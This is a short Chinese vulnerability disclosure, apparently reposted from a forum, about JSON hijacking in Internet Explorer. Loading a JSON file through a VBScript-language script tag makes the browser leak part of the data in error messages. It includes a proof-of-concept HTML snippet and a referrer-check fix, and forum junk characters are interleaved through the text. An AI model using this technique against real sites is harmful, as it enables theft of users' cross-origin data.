IE通用JSON劫持漏洞

admin

简要描述：
/ p1 c8 l- t5 v/ q
1 [) {- e  E& B" D由于某些资源容器对数据处理不当导致json劫持漏洞.
详细说明：
* h( {, [' ~: u' A2 `9 ^. r由于ie支持vbscript,所以script元素可以指定成vbscript语言:
7 f6 X% ?  G* p<script language=vbscript></script>
7 g2 I, R& X. V) I( Q1 B
" y; A$ ?' ^6 I当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
<script>
1 P% q. K) f% b5 iwindow.onerror=function(_){
alert(_)
}
7 d: Z! w5 ?7 c5 s# ]- Q</script>
, {: \" H! }) ]6 `<script language=vbscript src=1.json></script>
3 j* j0 b' @) u8 Y! N

. @: U' }# O" L1.json:
[{"name":"sogili","age":19}]
9 K; s* g! |3 W8 ?/ ^8 H修复方案：
网站业务对于这个问题可以通过验证referrer是否为同源来防御